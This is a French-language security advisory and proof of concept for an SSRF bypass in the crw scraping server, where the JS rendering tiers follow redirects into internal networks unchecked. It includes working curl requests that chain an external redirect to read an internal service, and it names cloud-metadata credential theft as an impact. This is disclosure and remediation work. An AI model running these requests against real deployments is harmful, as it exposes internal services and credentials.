
PoC — SSRF via contournement du filtre de sécurité d'URL par la couche de rendu JS dans crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).
Statut CVE : demandé, en attente d'attribution. Cette découverte est publiée sous GHSA-5jp3-339h-vxqw. Lors de l'attribution de la CVE, ce dépôt sera renommé
CVE-YYYY-NNNNN-crw-PoCet cette bannière sera remplacée par le lien CVE.
| Chercheur | Dostxodjayev Abdullox (@squeeze440) |
| Avis | GHSA-5jp3-339h-vxqw |
| CVSS 3.1 | 7.5 (Élevé) |
| Faiblesse | CWE-918 |
Résumé
Dans crw-server, la liste d'autorisation/de refus SSRF (crw_core::url_safety) n'est appliquée qu'une seule fois, contre l'url fournie par l'appelant, avant que la requête ne soit transmise à un moteur de rendu ; les niveaux de rendu JS pilotés par CDP (LightPanda — le moteur de rendu JS par défaut — et Chrome) pilotent ensuite la page cible via Page.navigate et suivent chaque redirection ultérieure, navigation déclenchée par JS, et XHR/fetch dans la page entièrement à l'intérieur de la propre pile réseau du navigateur, sans aucun appel supplémentaire à url_safety à aucun moment, permettant à un appelant authentifié (ou, sur un déploiement par défaut sans clé, non authentifié) qui définit renderJs:true de faire pivoter le crawler vers l'espace d'adressage RFC1918/loopback/link-local via une seule redirection ouverte externe et de lire en retour la réponse du service interne dans le corps de la réponse API.
Produit
fastCRW / crw — crw-server (API REST, également accessible de manière identique via la couche d'outils MCP in-process crw-mcp, qui appelle le même chemin de code crw_server::routes::mcp::call_tool).
Version testée
Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, pointe de main au moment du test), construit et exécuté via le propre docker-compose.yml --profile heavy du projet.
CVSS v3.1 estimé
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (Élevé)
PR:N : le déploiement auto-hébergé par défaut livré (config.docker.toml) n'a pas de section [auth]/api_keys, correspondant au défaut « ouvert par conception » déjà documenté dans GHSA-qq8c-fch4-cxq7. Un déploiement qui configure des clés API rétrograde cela en PR:L (tout locataire authentifié unique peut toujours faire pivoter le moteur partagé vers n'importe quel réseau interne sur lequel il s'exécute) — le bug n'est pas atténué par l'ajout de clés, seulement re-conditionné.I:N/A:N : le PoC démontre la lecture en retour d'une réponse HTTP interne (confidentialité). Aucune action d'écriture/modification d'état contre une cible interne n'a été exercée ou n'est revendiquée.S:U : la divulgation est entièrement médiée par le propre canal de réponse API du composant vulnérable.Détails
Cause racine : le chemin du moteur de rendu CDP/navigateur n'appelle jamais crw_core::url_safety après l'unique vérification effectuée au niveau de la couche de routage.
crates/crw-server/src/routes/scrape.rs:29-34 (de manière identique dans crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — la seule vérification SSRF dans tout le cycle de vie de la requête pour une requête rendue en JS : crw_core::url_safety::validate_safe_url_resolved(&parsed_url) s'exécute une fois contre l'url littérale de l'appelant, avant que le moteur de rendu ne soit jamais invoqué.crates/crw-renderer/src/cdp.rs:2621-2631 — le future work de fetch_inner envoie Page.navigate avec l'url brute directement au point de terminaison CDP (partagé par les niveaux chrome et lightpanda — les deux parlent CDP via cette même fonction). Chrome/LightPanda effectue ensuite sa propre résolution DNS et suit toute redirection côté serveur, <meta http-equiv="refresh">, ou changement de location JS en interne. Aucun appel à url_safety n'existe nulle part dans cdp.rs.crates/crw-renderer/src/blocklist.rs:1-124 — la seule logique d'interception Fetch.requestPaused par requête qui s'exécute pendant un rendu CDP (câblée dans cdp.rs autour des lignes 930-1002). Elle filtre les hôtes publicitaires/traceurs et les types de ressources bloqués (images, polices, etc.) pour des raisons de bande passante/bruit uniquement — elle ne vérifie jamais la destination d'une requête par rapport aux plages privées/loopback/link-local.crates/crw-crawl/src/single.rs:559-569 — le seul endroit où le final_url post-navigation est inspecté. redirect_is_material() décide uniquement s'il faut attacher une chaîne cosmétique "redirected_to: <url>" à data.warnings (pour signaler « vous avez obtenu la mauvaise page », selon le commentaire référençant northernair.ca) — il n'appelle jamais url_safety::validate_safe_url* et ne fait jamais échouer la requête.crates/crw-renderer/src/http_only.rs:291 — le niveau HTTP simple (non-JS) enveloppe correctement son reqwest::Client dans crw_core::url_safety::safe_redirect_policy(), qui re-valide (avec résolution DNS) chaque saut de redirection. C'est exactement la protection manquante dans les niveaux CDP. Confirmé dynamiquement : la même requête PoC avec renderJs:false est correctement rejetée ("error following redirect", voir la capture d'écran de référence).Preuve de concept
Confirmé dynamiquement contre la propre pile docker-compose.yml --profile heavy du projet (crw + lightpanda + chrome, construite à partir du commit testé).
crw/chrome/lightpanda (docker network: source_default), à l'adresse privée 172.19.0.6 — un simple conteneur nginx servant une page avec un contenu d'apparence interne réaliste (titre « Internal Ops Console », une valeur en forme de jeton de session).curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"http://172.19.0.6/","renderJs":false}'
→ {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
→ {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
evidence/ssrf_baseline_blocked.png)curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
-d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — le contenu du serveur interne est renvoyé à l'appelant ; l'avertissement redirected_to de l'outil lui-même montre qu'il sait qu'il a suivi la requête vers l'adresse bloquée et renvoie le contenu quand même. (capture d'écran : evidence/ssrf_chrome_tier_bypass.png)"renderJs":true seul — la manière ordinaire dont un appelant demande le rendu JS) : l'échelle a choisi lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") et a renvoyé le même contenu interne, prouvant que les deux niveaux CDP (pas seulement chrome) partagent la faille.https://httpbin.org/redirect-to représente « toute URL accessible en externe qui renvoie un 302 » ; un véritable attaquant hébergerait cela sur son propre domaine. 172.19.0.6 représente toute adresse dans les plages que url_safety est conçu pour bloquer (RFC1918, loopback, link-local/169.254.169.254 métadonnées cloud, .internal) — le contournement se produit avant que toute vérification de plage ne s'exécute (le chemin CDP n'appelle jamais url_safety du tout), il n'est donc pas spécifique à cette seule plage bloquée. Un point de terminaison de métadonnées cloud en direct n'était pas disponible dans ce laboratoire local, donc cette cible spécifique n'a pas été directement exercée ; il s'agit d'une extrapolation directe, tracée dans le code, et non d'une affirmation non testée.
Impact
Tout appelant capable d'atteindre /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, leurs équivalents batch/v2, ou les outils MCP équivalents — avec renderJs:true — peut utiliser le déploiement crw cible comme un proxy ouvert vers le réseau interne : lire les réponses des services loopback du déployeur, des services internes adressés en RFC1918 (bases de données, panneaux d'administration, API internes), et — sur tout déploiement hébergé dans le cloud — le point de terminaison de métadonnées cloud de l'instance (169.254.169.254), récupérant potentiellement les identifiants IAM/instance. Sur le déploiement auto-hébergé par défaut livré (aucune clé API configurée), cela ne nécessite aucune authentification du tout.
Faiblesses
Remédiation
La pompe d'interception Fetch.requestPaused déjà câblée dans les niveaux CDP (crates/crw-renderer/src/cdp.rs, pilotée par Blocklist dans blocklist.rs) est le point d'étranglement naturel : l'étendre (ou ajouter une vérification sœur invoquée depuis la même pompe, pour les backends chrome et lightpanda) pour appeler crw_core::url_safety::validate_safe_url contre l'URL de chaque requête interceptée — couvrant la navigation initiale, chaque saut de redirection, chaque navigation pilotée par JS, et chaque chargement XHR/fetch/iframe dans la même page — et Fetch.failRequest tout ce qui se résout vers un hôte bloqué, correspondant à ce que safe_redirect_policy() fait déjà pour le niveau http_only. Notez que cela signifie que Fetch.enable/l'interception ne peut plus rester conditionnellement désactivé lorsque la protection SSRF dépend de son exécution. En défense en profondeur, transformez également la vérification existante du final_url post-navigation dans crates/crw-crawl/src/single.rs:559-569 d'une entrée cosmétique warnings en un échec dur via url_safety::validate_safe_url_resolved, pour rattraper ce qui échappe à l'interception (par exemple une toute première réponse qui court-circuite la configuration de Fetch.enable).
Crédit
Dostxodjayev Abdullox
Canal de signalement
.github/SECURITY.md (rendu sur https://github.com/us/crw/security) : GitHub Private Vulnerability Reporting est le canal préféré (« ouvrir un rapport depuis l'onglet Security de ce dépôt »), avec [email protected] comme solution de repli par e-mail. Confirmé réellement actif et ouvert pour ce dépôt : gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, et un bouton « Report a vulnerability » actif a été observé sur https://github.com/us/crw/security (renvoyant vers https://github.com/us/crw/security/advisories/new). La déclaration de périmètre sur cette page inclut explicitement « The crw-server binary and all workspace crates in this repository » et « The MCP server (crw-mcp) » ; elle exclut « Third-party headless browsers (Chromium, Lightpanda) invoked by the renderer » — cette découverte concerne la validation manquante de crw lui-même autour de l'appel de navigation CDP, et non un bug dans Chromium/Lightpanda lui-même, elle est donc dans le périmètre.